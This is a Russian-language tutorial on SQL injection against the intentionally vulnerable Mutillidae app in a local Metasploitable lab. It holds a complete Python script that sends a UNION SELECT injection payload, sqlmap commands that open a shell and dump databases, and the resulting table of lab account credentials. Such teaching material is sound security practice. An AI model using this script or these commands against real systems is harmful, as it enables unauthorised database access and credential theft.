Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!
Ранее я уже писал о SQL-инъекциях, которые используют для атак на базы данных. Несмотря на свое древнее происхождение эта уязвимость имеет место быть в новых веб-приложениях. Не будем снова использовать самую популярную инъекцию из предыдущей статьи, а углубим свои знания и напишем простую программу на Python для автоматизации атак подобного типа. В конце статьи вспомним инструмент SQLMap, работать с которым станет намного проще, после написания своего очень упрощенного аналога.
Начнем тренироваться на уязвимом приложении Mutillidae, которое предустановлено в Metasploitable. Для начала его нужно настроить. Переходим в Metasploitable и редактируем файл config.inc
, а именно значение переменной $dbname
меняем с metasploitable
на owasp10
.
К слову сказать, подобные файлы, как тот что мы отредактировали могут стать брешью в безопасности при неправильной настройке прав доступа к файлу. Например, нам известно, что данные для подключения к БД сайта на WordPress хранятся в файле wp-config.php
. Думаю, вам понятно, что может произойти, если файл будет общедоступным.
Что делать, если вы не знаете имя искомого файла? Здесь может помочь утилита dirb для вывода списка имен файлов, имеющихся в каталоге сайта (у меня Metasploitable имеет следующий IP адрес: 192.168.1.101
):
dirb http://192.168.1.101
Откроем браузер в Kali Linux и перейдем в приложение mutillidae.
http://192.168.1.101/mutillidae/
Далее в выпадающем списке находим следующее: OWASP Top 10 > Injection > SQLi Extract Data > User Info
. Так же в верхней части страницы вы можете увидеть запись Security Level: 0
, означающую что установлен нулевой уровень безопасности веб-приложения.
Разберем основные поля HTTP-протокола
Прежде чем начать писать код, неплохо было бы вспомнить про HTTP-запросы, про который мы говорили в «Burp Suite и picoCTF: ищем флаг на сервере и перебираем куки» и даже немного когда писали простой сервер на C++.
Действия пользователя отправляются на сервер в виде HTTP-запроса, который в свою очередь, посылает HTTP-ответ, содержащий двоичный или HTML код. Далее браузер обрабатывает эти данные и отображает в понятном для пользователя виде.
В статье «Протокол TCP: SYN-, FIN-, NULL-, ACK-, XMAS-сканирования и выявление признаков последнего» для наглядности мы активно использовали Wireshark. Давайте запустим его, включим отслеживание трафика на интерфейсе eth0
и отправим форму аутентификации с любыми данными. Теперь отфильтруем в Wireshark весь трафик при помощи команды ip.dst == 192.168.1.101
. Осталось кликнуть правой кнопкой мыши по HTTP пакету и применить функцию отслеживания потока (Follow
), далее HTTP Stream
.
Пока нас интересует первая строка:
GET /mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details HTTP/1.1
Запрос GET передает данные пользователя в виде параметров в конце URL. Они следуют за оператором ?
и разделяются &
. Рассмотрим следующую строку:
Host: 192.168.1.101
Заголовок Host
определяет адрес сервера, на котором расположена запрашиваемая страница. Далее:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Заголовок User-Agent
определяет браузер, с которого сделан запрос. Следующее поле:
Referer: http://192.168.1.101/mutillidae/index.php?...
Поле Referer
хранит предыдущую страницу, с которого был переход. Полезное поле для отслеживания трафика, к примеру, на ваш сайт, но оно является не обязательным и поэтому может отсутствовать. Далее:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Поля Accept
содержат принимаемые браузером формат, язык и тип сжатия. Следующие поле:
Connection: keep-alive
Поле Connection
хранит тип соединения. В данном случае серверу сообщается о необходимости держать TCP-соединение открытым, чтобы была возможность принимать несколько запросов. Далее:
Cookie: PHPSESSID=674284e807fa700ae42669b8e334b1d7
Как мы уже говорили ранее, протокол HTTP не сохраняет свое состояние и поэтому каждый запрос независим от другого. На помощи приходит механизм Cookie, позволяющий веб-серверам отслеживать процесс взаимодействия пользователя с сайтом. При первом посещении веб-сервер присваивает пользователю уникальный номер, который будет использовать пользователь в дальнейшем при общении с сервером. Именно этот идентификатор хранится в поле Cookie
. Если злоумышленник украдет этот файл, то он сможем выдать себя за этого пользователя.
Следующее поле сообщает о необходимости перейти на зашифрованное HTTPS-соединение, если есть такая возможность.
Upgrade-Insecure-Requests: 1
Вот мы и подготовились к написанию инструмента для SQL-инъекций.
Приступаем к разработке инструмента для SQL-инъекций
Начнем с подключения необходимых модулей для работы с сокетами, аргументами командной строки и обработки URL.
import socket
import argparse
import urllib.parse
Далее реализуем функцию, которая будет возвращать HTTP-запрос:
def get_request(HOST, URL, parameter, SQL_injection, COOKIE):
При помощи функции quote_plus
из модуля urllib.parse
заменим все специальные символы и пробелы на escape-символы.
injection_encoded = urllib.parse.quote_plus(SQL_injection)
Далее сформируем сам HTTP-запрос, в котором для указанного параметра изменим значение на содержимое SQL-инъекции. Остальные строки мы обсудили ранее.
request = ("GET " + URL.replace(parameter + "=", parameter + "=" +
injection_encoded) + "\r\n"
"Host: " + HOST + "\r\n"
"User-Agent: Mozilla/5.0 \r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \r\n"
"Accept-Language: en-US,en;q=0.5 \r\n"
"Connection: keep-alive \r\n"
"Cookie: " + COOKIE + "\r\n"
)
Перейдем к основной функции. Сачала добавим аргументы, в которые будем передавать данные для нашего инструмента на Python:
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--host', help='IP-address of server')
parser.add_argument('-u', help='URL')
parser.add_argument('--param', help='Query String Parameter')
parser.add_argument('--cookie', help='Session Cookie')
Теперь эти аргументы необходимо обработать и написать простую SQL-инъекцию, которую будем использовать:
args = parser.parse_args()
HOST = args.host
URL = args.u
PARAMETER = args.param
COOKIE = args.cookie
SQL_injection = ' \'UNION SELECT * FROM accounts where \'1\'=\'1'
PORT = 80
Остается отправить все это через TCP-сокет. Если вы не знаете, как это сделать или немного подзабыли, то вернитесь к статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python», в которой мы достаточно подробно обсуждали этот вопрос.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as tcp_socket:
tcp_socket.connect((HOST, PORT))
request = get_request(HOST, URL, PARAMETER, SQL_injection, COOKIE)
print(request)
tcp_socket.sendall(request.encode())
while True:
data = tcp_socket.recv(1024)
print(data)
if not data:
break
Далее представлен полный код инструмента для SQL-инъекций на Python:
import socket
import argparse
import urllib.parse
def get_request(HOST, URL, parameter, SQL_injection, COOKIE):
injection_encoded = urllib.parse.quote_plus(SQL_injection)
request = ("GET " + URL.replace(parameter + "=", parameter + "=" +
injection_encoded) + "\r\n"
"Host: " + HOST + "\r\n"
"User-Agent: Mozilla/5.0 \r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \r\n"
"Accept-Language: en-US,en;q=0.5 \r\n"
"Connection: keep-alive \r\n"
"Cookie: " + COOKIE + "\r\n"
)
return request
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--host', help='IP-address of server')
parser.add_argument('-u', help='URL')
parser.add_argument('--param', help='Query String Parameter')
parser.add_argument('--cookie', help='Session Cookie')
args = parser.parse_args()
HOST = args.host
URL = args.u
PARAMETER = args.param
COOKIE = args.cookie
SQL_injection = ' \'UNION SELECT * FROM accounts where \'1\'=\'1'
PORT = 80
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as tcp_socket:
tcp_socket.connect((HOST, PORT))
request = get_request(HOST, URL, PARAMETER, SQL_injection, COOKIE)
print(request)
tcp_socket.sendall(request.encode())
while True:
data = tcp_socket.recv(1024)
print(data)
if not data:
break
main()
Можем перейти к проверке нашего инструмента.
Проверяем инструмент для SQL-инъекций
Откройте командную строку и введите следующую команду:
python3 sql_injection_http.py --host="192.168.1.101" -u="/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details" --param="password" --cookie="PHPSESSID=674284e807fa700ae42669b8e334b1d7"
В моем случае виртуальная машина Metasploitable имеет IP-адрес 192.168.1.101
. В консоли результаты работы не совсем удобно читать, поэтому откройте Wireshark и посмотрите на результат. Если немного полистать возвращенный HTML код, то можно найти абзац <p class="report-header">…</p>
, содержащий 16 пар логин/паролей.
Наш инструмент очень простой и уступает по функциональности таким инструментам как SQLMap, о котором пойдет речь далее.
Инструмент SQLMap
С инструментом SQLMap уже встречались ранее в статье «День 12. XSS, SQL-инъекции и выполнение команд на сервере Linux». Мы написали свой упрощенный инструмент для SQL-инъекций, поэтому сейчас на SQLMap вы будете смотреть совершенно другим взглядом.
Проведем атаку при помощи SQLMap. Передадим адрес страницы и запустим оболочку SQLMap:
sqlmap -u "http://192.168.1.101/mutillidae/index.php?page=user-info.php&username=admin&password=&" --random-agent --batch --level=5 --risk=3 --shell
Чтобы перечислить все базы данных воспользуйтесь командой --dbs
.
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
Теперь можем посмотреть какие таблицы содержит база данных owasp10
:
-D owasp10 --tables
Результат:
Database: owasp10
[6 tables]
+----------------+
| accounts |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+
Попробуем вывести содержимое таблицы accounts
:
-D owasp10 -T accounts --dump
Как видите, мы получили дамп таблицы accounts
, данные из которого могут использоваться в дальнейшем.
Database: owasp10
Table: accounts
[16 entries]
+-----+----------+--------------+----------+-----------------------------+
| cid | is_admin | password | username | mysignature |
+-----+----------+--------------+----------+-----------------------------+
| 1 | TRUE | adminpass | admin | Monkey! |
| 2 | TRUE | somepassword | adrian | Zombie Films Rock! |
| 3 | FALSE | monkey | john | I like the smell of confunk |
| 4 | FALSE | password | jeremy | d1373 1337 speak |
| 5 | FALSE | password | bryce | I Love SANS |
| 6 | FALSE | samurai | samurai | Carving Fools |
| 7 | FALSE | password | jim | Jim Rome is Burning |
| 8 | FALSE | password | bobby | Hank is my dad |
| 9 | FALSE | password | simba | I am a cat |
| 10 | FALSE | password | dreveil | Preparation H |
| 11 | FALSE | password | scotty | Scotty Do |
| 12 | FALSE | password | cal | Go Wildcats |
| 13 | FALSE | password | john | Do the Duggie! |
| 14 | FALSE | 42 | kevin | Doug Adams rocks |
| 15 | FALSE | set | dave | Bet on S.E.T. FTW |
| 16 | FALSE | pentest | ed | Commandline KungFu anyone? |
+-----+----------+--------------+----------+-----------------------------+
В этой статье мы еще раз поработали с SQL-инъекциями, но на этот раз углубили свои знания и написали собственный инструмент на Python для проведения атак с использованием SQL-инъекций. Еще раз поработали с инструментом SQLMap.